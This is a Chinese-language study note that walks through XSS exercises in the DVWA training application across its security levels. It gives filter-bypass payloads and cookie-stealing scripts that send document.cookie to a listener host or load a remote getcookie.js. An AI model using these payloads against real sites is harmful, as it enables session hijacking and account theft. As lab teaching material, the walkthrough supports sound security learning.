DVWA-XSS學習筆記


DVWA-XSS

XSS概念:由於web應用程序對用戶的輸入過濾不嚴,通過html注入篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。

XSS類型:

反射型XSS:只是簡單地把用戶輸入的數據反射給瀏覽器,簡單來說,黑客往往需要去誘使用戶點擊一個惡意鏈接,才能攻擊成功。  

存儲型XSS:將用戶輸入的數據存儲在服務器端,每次用戶訪問都會被執行js腳本。

DOM型XSS:文本對象模式xss,通過修改頁面的DOM節點形成的XSS,可存儲型,可反射型,只取決於輸出地點。

XSS的應用場景:1.利用xss獲得cookie,2.重定向,3.釣魚網站,4.DDOS

一、反射型XSS

 反射型XSS原理

  

(一)將DVWA的級別設置為low

1.1查看源代碼,可以看到沒有對參數做任何防御處理措施,直接輸出

  

1.2嘗試一般的XSS攻擊

 <script>alert(‘xss’)</script>

  

<body onload=alert('xss2')>

  

<a href='' onclick=alert('xss3')>click1</a>    #點擊click1時彈出xss3

  

<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>  #src地址錯誤,然后執行onerror的內容

  

重定向:

<script>window.location='http://www.163.com'</script>

<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>

   

獲取cookie

1.<script>alert(document.cookie)</script>

   

2.<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>

2.1在192.168.10.141上開啟監聽

Nc -nvlp 80

2.2在DVWA中輸入如下內容

<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>

2.3此時可以在192.168.10.141的主機上獲得DVWA的cookie信息

  

2.4加載遠程的js腳本

2.4.1在遠端服務器上制作一個js腳本

  

2.4.2搭建站點,把js腳本放入到站點中,開啟web服務

/etc/init.d/apache2 start

2.4.3在js腳本中的192.168.10.141主機上開啟監聽,

  

2.4.4在DVWA中輸入如下內容

<script src='http://192.168.10.141/getcookie.js'></script>

2.4.5在192.168.10.141查看js腳本實現的結果

  

(二)將DVWA的級別設置為medium

1.分析源碼,可以看到使用str_replace函數只對參數進行了簡單的替換,過濾<script>,別的沒有過濾,此時可以用大小寫或者別的標簽來繞過

  

2.繞過DVWA  medium防御

2.1大小寫繞過

<Script>alert('xxx')</script>

2.2組合過濾條件繞過

<scr<script>ipt>alert('sss')</script>

2.3嘗試使用別的標簽來繞過

<body onload=alert('s')>

<a href='' onclick=alert('ss')>click</a>

<a href='' onclick=alert(/ss/)>click</a>

#<script>alert('xx')</script>

(三)將DVWA的級別設置為High

 1.分析源碼,可以看到,使用了preg_replace正則表達式函數,對參數進行過濾,查看源碼可以看到對<script>標簽進行了嚴格的過濾,但沒有過濾別的標簽,此時可以通過img、body等標簽的事件或者iframe等標簽的src注入惡意的js代碼

  

2. 嘗試使用別的標簽來繞過

<body onload=alert('s')>

<img src="" onerror=alert('xss')>

<a href='' onclick=alert('ss')>click</a>

<a href='' onclick=alert(/ss/)>click</a>

(四)將DVWA的級別設置為Impossible

1.分析源碼,可以看到使用htmlspecialchars函數對參數進行html實體轉義,此時就無法利用XSS漏洞了

  

  

二、存儲型XSS

存儲型XSS攻擊原理圖:

  

(一)將DVWA的級別設置為low

1.分析源碼,可以看到首先對兩個參數使用trim函數過濾掉兩邊的空格,然后$message使用mysql_real_escape_string函數轉義SQL語句中的特殊字符,使用stripslashes函數過濾掉”\”,對$name參數中使用mysql_real_escape_string函數轉義SQL語句中的特殊字符

  

2.從上面的代碼可以看到,沒有防御XSS漏洞,只防御了SQL注入漏洞

嘗試一般的XSS攻擊

在message欄中測試:

<script>alert('x')</script>

<body onload=alert('sss')>

<a href=http://www.baidu.com>clock</a>

<a href='' onclick=alert('xss')>click</a>

重定向:

<script>window.location=’http://www.baidu.com’</script>

<script>window.location=’http://192.168.10.141’</script>

<iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>

獲取cookie:

<script>alert(document.cookie)</script>

<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>

1.在DVWA message欄中設置字節長度,輸入<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>,然后再kali中開啟監聽,下圖可可以看到獲取到DVWA中的cookie信息

  

2.換一個瀏覽器訪問192.168.10.130/DVWA中存儲型XSS,下圖可以看到成功獲得cookie信息

  

3.加載遠端服務器的js腳本

制作一個js腳本

  

把js腳本放到web站點中,開啟web服務

在DVWA欄中輸入<script src=http://192.168.10.143/getcookie.js></script>

在192.168.10.143主機上開啟監聽,當有用戶訪問DVWA中存儲型xss頁面時,就會把cookie信息發送到192.168.10.143主機上

  

4.修改長度的大小就可以繞過長度的限制了

  

(二)將DVWA的級別設置為Medium

1.分析源代碼,可以看到對$message參數做了很嚴格的過濾(進行html實體轉義以及轉義SQL語句中使用的特殊字符,杜絕了對$message關於xss的利用),但對$name參數做的過濾不嚴格,只是替換<script>以及轉義SQL語句中使用的特殊字符,可以使用別的html標簽對$name參數的防護進行繞過

  

2.繞過DVWA medium級別

<Script>alert('x')</script>

<body onload=alert('xss')>

<a href='' onclick=alert('xss')>click</a>

(三)將DVWA的級別設置為High

1.分析源碼,可以看到相比較中級而言,高級對$nam參數多了對<script>嚴格的過濾,沒有對別的標簽做過濾,但可以通過別的html標簽來進行繞過

  

2.繞過

<body onload=alert('xss')>

<a href='' onclick=alert('xss')>click</a>

(四)將DVWA的級別設置為Impossible

1.分析源碼可以看到,對兩個參數都做了html實體轉義,無法利用xss

  

三、DOM型XSS

文本對象模型

可儲存型,可反射型,取決於輸出地點

<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>

1.在DVWA中反射型xss中輸入<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>

2.在192.168.10.143主機上開啟監聽,可以看到

  

3.在DVWA中存儲型xss中輸入<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>

4. 在192.168.10.143主機上開啟監聽,可以看到

  

 

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM